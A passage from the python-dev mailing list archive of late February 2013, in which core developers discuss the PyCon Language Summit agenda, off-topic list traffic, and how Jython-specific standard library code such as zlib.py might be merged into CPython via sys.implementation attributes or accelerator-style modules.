In fact, at least one patent attorney *is* posting on debian-legal.

Jesse is right: the list may turn into a playground. In that case, at least
the traffic is not on python-dev.


Stefan Krah




From stefan at bytereef.org  Thu Feb 28 15:49:53 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Thu, 28 Feb 2013 15:49:53 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <6E60016BF5984973A91B755FA21706BE@gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
	<6E60016BF5984973A91B755FA21706BE@gmail.com>
Message-ID: <20130228144953.GB3947@sleipnir.bytereef.org>

Jesse Noller <jnoller at gmail.com> wrote:
> > Why would it help to resolve such an issue (if it is an issue at all!)
> > for a single person on a private mailing list?
> 
> 
> See: http://mail.python.org/pipermail/python-dev/2013-February/124463.html 

That was quick. Thanks!


Stefan Krah




From jnoller at gmail.com  Thu Feb 28 15:57:14 2013
From: jnoller at gmail.com (Jesse Noller)
Date: Thu, 28 Feb 2013 09:57:14 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228144953.GB3947@sleipnir.bytereef.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CAPkN8xKBAinSMWd7X_Mtksrbr1xnkJPX4NMV7GEvNznJn1vU+Q@mail.gmail.com>
	<B2DD1CD6-D83C-40B9-A653-E4C73ED53C7A@gmail.com>
	<20130228114258.GA2732@sleipnir.bytereef.org>
	<08DF327B-EAE1-414D-83B5-B75E6A8AA3A0@gmail.com>
	<20130228125505.2a380773@pitrou.net>
	<E8DAC2CB-C0F9-44C8-A79A-483B4AB452D0@gmail.com>
	<20130228122637.GA2960@sleipnir.bytereef.org>
	<6E60016BF5984973A91B755FA21706BE@gmail.com>
	<20130228144953.GB3947@sleipnir.bytereef.org>
Message-ID: <6622E135D99E42C2AAB99B64CFC48C89@gmail.com>



On Thursday, February 28, 2013 at 9:49 AM, Stefan Krah wrote:

> Jesse Noller <jnoller at gmail.com (mailto:jnoller at gmail.com)> wrote:
> > > Why would it help to resolve such an issue (if it is an issue at all!)
> > > for a single person on a private mailing list?
> > 
> > 
> > 
> > 
> > See: http://mail.python.org/pipermail/python-dev/2013-February/124463.html 
> 
> That was quick. Thanks!
> 
> 
> Stefan Krah
It only takes a minute or two to do something good.

Now how about dem XML vulnerabilities? ;)



From fwierzbicki at gmail.com  Thu Feb 28 17:44:34 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Thu, 28 Feb 2013 08:44:34 -0800
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130227223749.2f06a328@anarchist.wooz.org>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
	<CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
	<20130227223749.2f06a328@anarchist.wooz.org>
Message-ID: <CADrh4zLiaPMPyQcveXkBUwgo61iot+jG86hYma07KPSw1xfeUg@mail.gmail.com>

On Wed, Feb 27, 2013 at 7:37 PM, Barry Warsaw <barry at python.org> wrote:
> On Feb 27, 2013, at 11:33 AM, fwierzbicki at gmail.com wrote:
>
>>I am suggesting that we push forward on the "shared library" approach to the
>>files in the Lib/* directory, so that would certainly include IronPython and
>>PyPy as well I hope.
>
> +1
>
>>The easy part for Jython is pushing some of our "if is_jython:" stuff
>>into the appropriate spots in CPython's Lib/.
>
> I wonder if there isn't a better way to do this than sprinkling is_jython,
> is_pypy, is_ironpython, is_thenextbigthing all over the code base.  I have no
> bright ideas here, but it seems like a feature matrix would be a better way to
> go than something that assumes a particular Python implementation has a
> particular feature set (which may change in the future).
Sorry I meant "is_jython" as a sort of shorthand for a case by case
check. It would be cool if we had a nice set of checks somewhere like
"is_refcounted", etc. Would the sys.implementation area be a good
place for such things?

On the other hand in some ways Jython is sort of like Python on a
weird virtual OS that lets the real OS bleed through some. This may
still need to be checked in that way (there's are still checks of <if
os.name == 'nt'> right?)

-Frank

From fwierzbicki at gmail.com  Thu Feb 28 17:49:39 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Thu, 28 Feb 2013 08:49:39 -0800
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CADiSq7f7APRJJ+Wjgq66BC2rSmyhHLn3+tdEEPbOv53znxqeBQ@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
	<CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
	<20130227223749.2f06a328@anarchist.wooz.org>
	<CADiSq7f7APRJJ+Wjgq66BC2rSmyhHLn3+tdEEPbOv53znxqeBQ@mail.gmail.com>
Message-ID: <CADrh4zLNRifjm0L_WvsFgme35JMKJ3VQvM0mSfawNnkJdgY+=Q@mail.gmail.com>

On Thu, Feb 28, 2013 at 1:15 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Thu, Feb 28, 2013 at 1:37 PM, Barry Warsaw <barry at python.org> wrote:
>> On Feb 27, 2013, at 11:33 AM, fwierzbicki at gmail.com wrote:
>>>The easy part for Jython is pushing some of our "if is_jython:" stuff
>>>into the appropriate spots in CPython's Lib/.
>>
>> I wonder if there isn't a better way to do this than sprinkling is_jython,
>> is_pypy, is_ironpython, is_thenextbigthing all over the code base.  I have no
>> bright ideas here, but it seems like a feature matrix would be a better way to
>> go than something that assumes a particular Python implementation has a
>> particular feature set (which may change in the future).
>
> Yes, avoiding that kind of thing is a key motivation for
> sys.implementation. Any proposal for "is_jython" blocks should instead
> be reformulated as a proposal for new sys.implementation attributes.
Ah nice - the merging effort should definitely cause some careful
consideration of these. Maybe I'll start a discussion about a "garbage
collection type" for sys.implementation. Some way to ask <gc !=
"refcounted"> would catch some of these.

-Frank

From fwierzbicki at gmail.com  Thu Feb 28 17:59:54 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Thu, 28 Feb 2013 08:59:54 -0800
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <20130228103037.1b60878b@pitrou.net>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
	<CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>
	<20130228103037.1b60878b@pitrou.net>
Message-ID: <CADrh4zLaK4t+ifudZ2JZPZ8qPD7euks_ziiUqcW94z-FaNJ-nw@mail.gmail.com>

On Thu, Feb 28, 2013 at 1:30 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Le Wed, 27 Feb 2013 11:33:30 -0800,
> "fwierzbicki at gmail.com" <fwierzbicki at gmail.com> a ?crit :
>>
>> There are a couple of spots that might be more controversial. For
>> example, Jython has a file Lib/zlib.py that implements zlib in terms
>> of the existing Java support for zlib. I do wonder if such a file is
>> acceptable in CPython's Lib since its 195 lines of code would be
>> entirely skipped by CPython.
>
> That's a bit annoying. How will we know that the code still works, even
> though our buildbots don't exercise it?
> Also, what happens if the code doesn't work anymore?
That is definitely something to think about. Maybe when this becomes a
serious effort and not just talk I can help get a Jython buildbot
going.

-Frank

From fijall at gmail.com  Thu Feb 28 18:17:39 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Thu, 28 Feb 2013 19:17:39 +0200
Subject: [Python-Dev] High volumes and off topic discussions
In-Reply-To: <20130228150326.2e7b0944@pitrou.net>
References: <CAK5idxQcV=xFefGhoGFBzQoo6YxQTD9TdGmiN6qcp8MrGcWUyA@mail.gmail.com>
	<20130228150326.2e7b0944@pitrou.net>
Message-ID: <CAK5idxR5G3qJYKwnE==kw6SatdnaNUMh2_+KBYD+qjUvXGLFZQ@mail.gmail.com>

On Thu, Feb 28, 2013 at 4:03 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Le Thu, 28 Feb 2013 13:36:10 +0200,
> Maciej Fijalkowski <fijall at gmail.com> a ?crit :
>> Hi
>>
>> I know this is a hard topic, but python-dev is already incredibly
>> high-volume and dragging discussion off-topic is making following
>> important stuff (while ignoring unimportant stuff) very hard.
>>
>> For example in a recent topic "cffi in stdlib" I find a mail that says
>> "we have to find a sufficiently silly species of snake". It's even
>> funny, but it definitely makes it very hard to follow for those of us
>> who don't read python-dev 24/7. Would it be reasonable for python-dev
>> to generally try to stay on topic (for example if the thread is called
>> "silly species of snakes", I absolutely don't mind people posting
>> there whatever they feel like as long as I'm not expected to read
>> every single message).
>
> I'm afraid you're trying to devise derogatory distinctions regarding
> drifting discussions.
>
> Seriously, yes, I approve of changing the subject line, although I
> forgot to do it this time.
> For the record, you can also read the list through a NNTP gateway using
> Gmane, it can make things easier.

How does that help with knowing what mails to read what mails not to
read? the agenda thread is a great example - I care about the agenda,
because I'm even mentioned there, but I don't care about the legal
mailing list that occupies 2/3 of the thread. People who like to care
about legal stuff would be baffled that noone told them, because it
was buried inside a thread about a conference they might not go to
etc. Anyway, I'm not even a regular here so do what works for you.

>
> Regards
>
> Antoine.
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fijall%40gmail.com

From chris.jerdonek at gmail.com  Thu Feb 28 20:24:21 2013
From: chris.jerdonek at gmail.com (Chris Jerdonek)
Date: Thu, 28 Feb 2013 11:24:21 -0800
Subject: [Python-Dev] Merging Jython code into standard Lib [was Re: Python
 Language Summit at PyCon: Agenda]
Message-ID: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>

On Thu, Feb 28, 2013 at 1:30 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Le Wed, 27 Feb 2013 11:33:30 -0800,
> "fwierzbicki at gmail.com" <fwierzbicki at gmail.com> a ?crit :
>>
>> There are a couple of spots that might be more controversial. For
>> example, Jython has a file Lib/zlib.py that implements zlib in terms
>> of the existing Java support for zlib. I do wonder if such a file is
>> acceptable in CPython's Lib since its 195 lines of code would be
>> entirely skipped by CPython.
>
> That's a bit annoying. How will we know that the code still works, even
> though our buildbots don't exercise it?
> Also, what happens if the code doesn't work anymore?

Agreed on those problems.  Would it be possible to use a design
pattern in these cases so the Jython-only code wouldn't need to be
part of the CPython repo?  A naive example would be refactoring zlib
to allow subclassing in the way that Jython needs, and then Jython
could subclass in its own repo.  CPython could have tests to check the
subclass "contract" that Jython needs.

--Chris

From fwierzbicki at gmail.com  Thu Feb 28 20:46:04 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Thu, 28 Feb 2013 11:46:04 -0800
Subject: [Python-Dev] Merging Jython code into standard Lib [was Re:
 Python Language Summit at PyCon: Agenda]
In-Reply-To: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>
References: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>
Message-ID: <CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>

On Thu, Feb 28, 2013 at 11:24 AM, Chris Jerdonek
<chris.jerdonek at gmail.com> wrote:
> On Thu, Feb 28, 2013 at 1:30 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
>> Le Wed, 27 Feb 2013 11:33:30 -0800,
>> "fwierzbicki at gmail.com" <fwierzbicki at gmail.com> a ?crit :
>>>
>>> There are a couple of spots that might be more controversial. For
>>> example, Jython has a file Lib/zlib.py that implements zlib in terms
>>> of the existing Java support for zlib. I do wonder if such a file is
>>> acceptable in CPython's Lib since its 195 lines of code would be
>>> entirely skipped by CPython.
>>
>> That's a bit annoying. How will we know that the code still works, even
>> though our buildbots don't exercise it?
>> Also, what happens if the code doesn't work anymore?
>
> Agreed on those problems.  Would it be possible to use a design
> pattern in these cases so the Jython-only code wouldn't need to be
> part of the CPython repo?  A naive example would be refactoring zlib
> to allow subclassing in the way that Jython needs, and then Jython
> could subclass in its own repo.  CPython could have tests to check the
> subclass "contract" that Jython needs.
What about a plat-java section to parallel plat-aix4, plat-darwin,
etc? The analogy being that the Java platform is somewhat analogous to
being it's own os? And these areas are not active when on other
operating systems...

-Frank

From fwierzbicki at gmail.com  Thu Feb 28 20:47:59 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Thu, 28 Feb 2013 11:47:59 -0800
Subject: [Python-Dev] Merging Jython code into standard Lib [was Re:
 Python Language Summit at PyCon: Agenda]
In-Reply-To: <CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>
References: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>
	<CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>
Message-ID: <CADrh4zLdYtfHe-ThD6qaLBfPJhRzc5LtKyzYyYTkPyWq7SXw_w@mail.gmail.com>

On Thu, Feb 28, 2013 at 11:46 AM, fwierzbicki at gmail.com
<fwierzbicki at gmail.com> wrote:
>> Agreed on those problems.  Would it be possible to use a design
>> pattern in these cases so the Jython-only code wouldn't need to be
>> part of the CPython repo?  A naive example would be refactoring zlib
>> to allow subclassing in the way that Jython needs, and then Jython
>> could subclass in its own repo.  CPython could have tests to check the
>> subclass "contract" that Jython needs.
> What about a plat-java section to parallel plat-aix4, plat-darwin,
> etc? The analogy being that the Java platform is somewhat analogous to
> being it's own os? And these areas are not active when on other
> operating systems...
Oh yeah and this does not preclude the zlib refactoring, and again for
the record once this gets serious I'd want to help in bringing up a
Jython buildbot to track breakage.

-Frank

From solipsis at pitrou.net  Thu Feb 28 21:00:23 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 28 Feb 2013 21:00:23 +0100
Subject: [Python-Dev] Merging Jython code into standard Lib [was Re:
 Python Language Summit at PyCon: Agenda]
In-Reply-To: <CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>
References: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>
	<CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>
Message-ID: <20130228210023.089665ef@pitrou.net>

On Thu, 28 Feb 2013 11:46:04 -0800
"fwierzbicki at gmail.com" <fwierzbicki at gmail.com> wrote:
> On Thu, Feb 28, 2013 at 11:24 AM, Chris Jerdonek
> <chris.jerdonek at gmail.com> wrote:
> > On Thu, Feb 28, 2013 at 1:30 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> >> Le Wed, 27 Feb 2013 11:33:30 -0800,
> >> "fwierzbicki at gmail.com" <fwierzbicki at gmail.com> a ?crit :
> >>>
> >>> There are a couple of spots that might be more controversial. For
> >>> example, Jython has a file Lib/zlib.py that implements zlib in terms
> >>> of the existing Java support for zlib. I do wonder if such a file is
> >>> acceptable in CPython's Lib since its 195 lines of code would be
> >>> entirely skipped by CPython.
> >>
> >> That's a bit annoying. How will we know that the code still works, even
> >> though our buildbots don't exercise it?
> >> Also, what happens if the code doesn't work anymore?
> >
> > Agreed on those problems.  Would it be possible to use a design
> > pattern in these cases so the Jython-only code wouldn't need to be
> > part of the CPython repo?  A naive example would be refactoring zlib
> > to allow subclassing in the way that Jython needs, and then Jython
> > could subclass in its own repo.  CPython could have tests to check the
> > subclass "contract" that Jython needs.
> What about a plat-java section to parallel plat-aix4, plat-darwin,
> etc? The analogy being that the Java platform is somewhat analogous to
> being it's own os? And these areas are not active when on other
> operating systems...

IMHO, we should remove the plat-* directories, they are completely
unmaintained, undocumented, and serve no useful purpose.

Regards

Antoine.

From fwierzbicki at gmail.com  Thu Feb 28 21:17:50 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Thu, 28 Feb 2013 12:17:50 -0800
Subject: [Python-Dev] Merging Jython code into standard Lib [was Re:
 Python Language Summit at PyCon: Agenda]
In-Reply-To: <20130228210023.089665ef@pitrou.net>
References: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>
	<CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>
	<20130228210023.089665ef@pitrou.net>
Message-ID: <CADrh4zJh+1Ntz3W9Z+nZKNa6KKc4Gdpa0_ovA5xjEiBKiAcxQQ@mail.gmail.com>

On Thu, Feb 28, 2013 at 12:00 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> IMHO, we should remove the plat-* directories, they are completely
> unmaintained, undocumented, and serve no useful purpose.
Oh I didn't know that - so definitely adding to that is right out :)

Really for cases like Jython's zlib.py (no useful code for CPython) I
don't have any trouble keeping them entirely in Jython. It just would
have been fun to delete our Lib/ :)

It would be nice in this particular case if there was a zlib.py that
imported _zlib -- then it would be easy to shim in Jython's version,
whether it is written in a .py file or in Java.

-Frank

From brett at python.org  Thu Feb 28 21:35:35 2013
From: brett at python.org (Brett Cannon)
Date: Thu, 28 Feb 2013 15:35:35 -0500
Subject: [Python-Dev] Merging Jython code into standard Lib [was Re:
 Python Language Summit at PyCon: Agenda]
In-Reply-To: <CADrh4zJh+1Ntz3W9Z+nZKNa6KKc4Gdpa0_ovA5xjEiBKiAcxQQ@mail.gmail.com>
References: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>
	<CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>
	<20130228210023.089665ef@pitrou.net>
	<CADrh4zJh+1Ntz3W9Z+nZKNa6KKc4Gdpa0_ovA5xjEiBKiAcxQQ@mail.gmail.com>
Message-ID: <CAP1=2W6t0pYnC4OxX9AYzsXCCnPEogqsbAwhe_jGDdSPNLesug@mail.gmail.com>

On Thu, Feb 28, 2013 at 3:17 PM, fwierzbicki at gmail.com <
fwierzbicki at gmail.com> wrote:

> On Thu, Feb 28, 2013 at 12:00 PM, Antoine Pitrou <solipsis at pitrou.net>
> wrote:
> > IMHO, we should remove the plat-* directories, they are completely
> > unmaintained, undocumented, and serve no useful purpose.
> Oh I didn't know that - so definitely adding to that is right out :)
>
> Really for cases like Jython's zlib.py (no useful code for CPython) I
> don't have any trouble keeping them entirely in Jython. It just would
> have been fun to delete our Lib/ :)
>
> It would be nice in this particular case if there was a zlib.py that
> imported _zlib -- then it would be easy to shim in Jython's version,
> whether it is written in a .py file or in Java.
>

That should be fine as that is what we already do for accelerator modules
anyway. If you want to work towards having an equivalent of CPython's
Modules/ directory so you can ditch your custom Lib/ modules by treating
your specific code as accelerators I think we can move towards that
solution.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130228/a9fdb73e/attachment.html>

From ericsnowcurrently at gmail.com  Thu Feb 28 23:23:03 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Thu, 28 Feb 2013 15:23:03 -0700
Subject: [Python-Dev] Merging Jython code into standard Lib [was Re:
 Python Language Summit at PyCon: Agenda]
In-Reply-To: <CAP1=2W6t0pYnC4OxX9AYzsXCCnPEogqsbAwhe_jGDdSPNLesug@mail.gmail.com>
References: <CAOTb1wcey0+2=py2sFbvk+fLN57ppQpG0qB6Pw9OgoXBOpBPBw@mail.gmail.com>
	<CADrh4zL_SM94izq057TFzvBmJAJb9cUJLYdpFep+rRDprYfFFw@mail.gmail.com>
	<20130228210023.089665ef@pitrou.net>
	<CADrh4zJh+1Ntz3W9Z+nZKNa6KKc4Gdpa0_ovA5xjEiBKiAcxQQ@mail.gmail.com>
	<CAP1=2W6t0pYnC4OxX9AYzsXCCnPEogqsbAwhe_jGDdSPNLesug@mail.gmail.com>
Message-ID: <CALFfu7BJUThi9+MMYvqOhoi8JHP8De9eLgh1cZam=-K3Que69g@mail.gmail.com>

On Thu, Feb 28, 2013 at 1:35 PM, Brett Cannon <brett at python.org> wrote:
> That should be fine as that is what we already do for accelerator modules
> anyway. If you want to work towards having an equivalent of CPython's
> Modules/ directory so you can ditch your custom Lib/ modules by treating
> your specific code as accelerators I think we can move towards that
> solution.

+1

-eric